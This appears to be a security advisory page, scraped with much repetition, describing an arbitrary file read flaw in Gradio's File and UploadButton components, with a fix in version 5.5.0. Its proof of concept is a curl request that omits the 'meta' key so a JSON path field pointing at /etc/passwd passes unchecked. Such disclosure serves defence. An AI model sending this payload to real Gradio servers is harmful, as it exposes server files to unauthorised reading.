### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
Update gradio to 5.5.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio vulnerable to arbitrary file read with File and UploadButton components affects gradio (pip). Severity is medium. ### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | >=5.0.0,<5.5.0 | 5.5.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gradio to 5.5.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio vulnerable to arbitrary file read with File and UploadButton components affects gradio (pip). Severity is medium. ### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | >=5.0.0,<5.5.0 | 5.5.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard